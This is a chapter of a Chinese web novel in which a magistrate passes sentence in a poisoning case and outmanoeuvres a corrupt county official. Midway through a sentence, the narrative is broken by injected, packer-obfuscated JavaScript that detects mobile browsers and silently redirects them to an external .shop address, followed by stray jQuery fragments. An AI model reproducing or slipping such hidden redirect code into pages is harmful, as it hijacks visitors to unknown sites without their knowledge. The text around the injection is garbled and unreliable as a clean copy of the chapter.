文趣网 > 其他小说 > 仵作今天掉马了吗 > 28. 判决
    这番话落下,赵德令脸色骤变,不待柳氏说完,当即怒喝一声,拍案而起,“简直是一派胡言!”

    “赵大人。”谢皖南不轻不重地唤了一声,“且听她说完。”

    他神色淡淡,却是不怒自威,一个眼神飘过,便让赵德令重新坐回椅上,暂时收了气焰。

    柳氏喉间发紧,她咽了咽口水,继续道:“蚀心散乱人心智,洪彪便是借用此毒,才伪造了王泊川自尽身亡的假象……”

    “而我听了他们命令行事,却还是遭人算计,深受其害。若不是谢大人及时找到解药,早就没命了!”

    赵德令沉着脸忍耐着,终于挨到了她说完,“柳氏!本官念你夫君新丧,姑且不追究你诬陷之罪!但你休要血口喷人!”

    他袖子一甩,冷笑出声:“本官何时认得什么洪彪?怕是你与这李衙役串通一气,想攀咬本官脱罪!”

    “不认得?大人还真是贵人多忘事!”

    柳氏突然笑了,态度陡然变得强硬,指着他腰间的令牌道,“那日我看得清清楚楚,洪彪去取贡瓷时,腰间挂的正是清平县衙的腰牌!”

    “你空口白牙说得简单,可有凭证?谁又能作保?洪彪如今又在何处?”

    赵德令背着手,缓缓走至柳氏跟前,每问一句,便逼近一步,居高临下地睨着眼前的妇人。

    “眼下你什么都拿不出,是觉得仅凭你一面之词,就能给本官扣上一顶莫须有帽子?”

    一连串的质问如连环炮般向柳氏轰来,片刻不让人喘息。柳氏节节败退,被堵得哑口无言,每落下一个问题,脸色便白上几分。

    如今唯二见过洪彪的王崇山与王泊川皆已不在人世,她确实拿不出什么证据来。

    见柳氏语塞,赵德令挺直腰板,犹如斗胜的公鸡般,慢悠悠地晃回了太师椅上。

    “今日说错了不打紧,往后可要记住,这官场之上,凡事得讲究证据啊。”

    语罢他转向谢皖南,突然换了副嘴脸,呵呵笑了两声:“谢少卿您说是不是啊?您方才也瞧见了,这便是空口白牙的攀咬!下官行得正坐得直,面对这种狗急跳墙之辈,自然问心无愧!”

    谢皖南沉默片刻,目光掠过赵德令得意洋洋的脸,心里跟明镜似的。

    事到如今,赵德令就是笃定眼下缺了直接证据,动不了他。

    也罢,强行拿下只会打草惊蛇,断了追查洪彪背后更大势力的线索,倒不如先按兵不动。

    暂且留他一条性命。

    “柳氏,你既无实证,不可妄指朝廷命官。”

    谢皖南抬手一拍惊堂木,终于开口:“洪彪尚在逃窜,有关此人之事容后再议,待抓捕归案后再做定夺。”

    “如今人证物证俱在,下毒者李衙役、帮凶柳依依皆已认罪,毒杀缘由也已全部查清,本官宣布,王泊川毒杀一案,就此了结!”

    他清了清嗓子,看向堂下跪着的李衙役:“李衙役利用职务之便,毒杀在押罪犯,扰乱办案,按律当斩。念其受人胁迫,后又戴罪立功,改判监禁十年。”

    说罢,他转向柳氏,声音稍缓,“柳依依,你虽被利用,但协助毒杀亲夫,引开侍卫确为事实,本官念你中毒遭罪,且初时尚不知情,判监禁五年。”

    “多谢大人……”柳氏低声道谢,柳依依三字入耳时,不合时宜地红了眼眶。

    嫁进王家这些年,别人都恭恭敬敬唤她一声王夫人,只有王崇山会在无人时,捏着她的手,温声唤她的闺名。

    可王崇山走后,再次有人这么叫她时,竟是在公堂之上。

    不是花月楼取的花名,不是柳氏,也不是冰冷的王夫人,而是她真正的名字——柳依依。

    这些日子,每每听到王夫人这个名头,她便忍不住浑身发抖,午夜梦回,想起自己的贪念,想起崇山死前的模样。

    她不想当王夫人了。

    金银珠宝、家财万贯,那些曾让她痴迷的荣华,此刻想来只觉刺目。她好想卸下那个沉重的身份,她想做她自己,做回曾经那个不谙世事的柳依依。

    可世间哪有回头路啊?

    铺天盖地的悔恨将柳氏彻底淹没,是她鬼迷心窍,是她贪慕虚荣,错把虚假当真情,反倒看不见眼前人的真心。

    昔日那些美好,初时不觉,如今想来竟成了剜心的刀,深入肺腑,痛彻心扉。

    是她啊,亲手害了那个唯一对自己好的人。

    柳氏垂着头,单薄的肩膀不住颤抖,泪水无声落下。

    “姐姐!你放心!璇儿我会照看好的!”身后,突然遥遥响起一道女声,带着几分熟悉。

    柳氏回头,发现正是自己数年未见的妹妹柳青青。

    当年她嫁入王家后,逐渐被富贵迷了眼,人也傲气起来。见妹妹还在做些小生意,便施尊降贵地送了些银两,劝她早日嫁个有钱的夫婿,也不必那么劳累。

    不料柳青青却并不领情,不仅将银子原封不动退了回来,还让她以后莫要说这些话。

    历经此事,姐妹也生分了起来。不曾想,今日她竟会来……

    柳青青抹了把泪,从身后拉过璇儿,“快!璇儿!给你娘道个别。”

    璇儿年纪虽小,却被教导得很好,极明事理,知道此事是娘亲做错了,此时不哭也不闹。

    她站在仪门外,小手挥了挥,声音带着一股子童真,“娘亲,你要好好改正,璇儿和姨母都会等你回来的……”

    另一侧,郑屠户也从围观的人群里探出头,扯着嗓子喊道:“老李,放心吧,弟妹跟孩子有我跟你嫂子照应着,不会出岔子的。”

    李衙役的妻子在一旁哭得已说不出话,只能拼命朝他点头,“放心,家里有我。”

    此刻无声胜有声,一切尽在不言中。

    衙役上前押人时,李衙役和柳氏俱是泪流满面,忍不住频频回头,脚步像灌了铅一样,每一步都走得无比艰难。

    身后,是他们此生最割舍不下的牵挂。

    可天理昭昭,报应不爽,自己欠下的债,终究要还。

    两人身影渐渐远去,公堂外的抽泣声也淡了下来。

    云裳不动声色地看向对面的赵德令,对方正端起茶盏,轻押了一口,发出一声畅快的感叹,身上的如释重负藏都藏不住。

    她看向高堂上端坐的谢皖南,对方回以她一个眼神,显然也看到了。

    “赵大人。”谢皖南突然开口。

    赵德令手一抖,茶盏差点倾翻,连忙放下杯子笑道:“谢少卿有何吩咐?”

    “李衙役与柳氏虽已定罪,但洪彪一日不落网,此案便不算真正了结。”

    他声音不咸不淡的,听不出任何情绪。

    果然还是躲不开这茬。

    赵德令心头一跳,强笑道:“谢少卿说的是,下官定会加派人手,全力搜捕洪彪,尽早将这凶徒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15972156|173018||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    缉拿归案。”

    “不必了。”谢皖南将案上杂乱的卷宗拢了拢,并在一处,“此人牵涉甚广,恐非清平县衙能应付得了。即日起,缉拿洪彪之事,本官自会派人接手。”

    他顿了顿,抬眼看去,眸光微冷,“至于你,三日之内备齐所有相关文书,送至驿站。这案子的后续,由全权本官接管,卷宗将直接呈报刑部。”

    赵德令脸色微变,他本想将案子握在自己手里,既能借着搜捕的由头掩盖洪彪的踪迹,又能在卷宗上动些手脚,把水搅得更浑。

    如今谢皖南这话,分明是断了他的后路。

    那日定下承诺,本意是想让谢皖南没理由再插手此事,如今倒好,谋划许久,反倒是把把柄送到了对方的手里,案子也不得不拱手相让。

    思及此,赵德令在心里把洪彪骂了千百遍,恨这蠢货办事不密,反倒让自己落了下风。

    真是成事不足败事有余。

    “赵县令可有异议?”谢皖南问得客气,语气里却带着不容置喙。

    赵德令即便再不情愿,也只能硬着头皮,起身恭维:“大人明察秋毫,下官佩服!”

    他低着头,思虑再三,却还想再为自己争取一番,“只是大人公务繁忙,这案子后续已无太多枝节,不如……”

    “赵大人只需配合提供卷宗便可,其他不必多问。”谢皖南抬手直接打断他,声音冷了几分。

    “下官遵命。”赵德令拱手称是,被堵得哑口无言,也只能硬生生咽下这口气。

    他这才后知后觉意识到,这次是搬了石头砸了自己的脚。

    他以洪彪为由自证清白,谢皖南便借了他抛出的话,顺势将案子握在自己手中。如今他虽暂时脱了嫌疑,却彻底失了对王家案的掌控权。

    往后这案子如何查,查向何处,都由谢皖南说了算,他再想插手,难如登天。

    这一步,走得当真是妙。

    谢皖南慢条斯理地抚了抚官袍前襟的褶皱,站起身,从案桌前走出。

    “赵大人,眼下本官手下正缺仵作,云仵作的调任聘书还请尽快备好。”

    说罢,不等他张口回应,转身便走,徒留赵德令一人僵在原地,脸色青一阵白一阵的。

    云裳冷眼瞧着他吃瘪的模样,忍不住勾了勾唇角,心情一片大好。

    果然是一物降一物,这种人,还得是谢皖南这般手握实权的才治得住。

    “多谢赵县令这几日的照拂,谢大人还在等着,小人也前行告退了。”云裳压下眼底的冷意,朝他施了一礼,刻意将几个字眼加重了。

    她太清楚赵德令最忌恨什么,专门捡了他不爱听的话,直挺挺往他心上戳。

    转身时,云裳连步子都轻快了几分,径直朝着谢皖南的身影快步追去。

    午后的阳光铺天盖地洒下来,落在肩头暖融融的,她再也压不住脸上的笑意,低低笑出了声。

    谢皖南这艘船,还真是上对了!

    ……

    不知过了多久,正堂内突然传来一声巨响,案几上的茶盏被人狠狠摔了出去,破碎的瓷片混着残茶溅了一地。

    赵德令站在一片狼藉里,脸阴沉得能滴出水来。

    谢皖南仗着用官大压他一头也就罢了,如今就连云尚一个小仵作都敢蹬鼻子上脸,骑到他头上来了!

    沉默片刻,赵德令攥紧拳头,咬着牙道:“把洪彪给我叫过来!”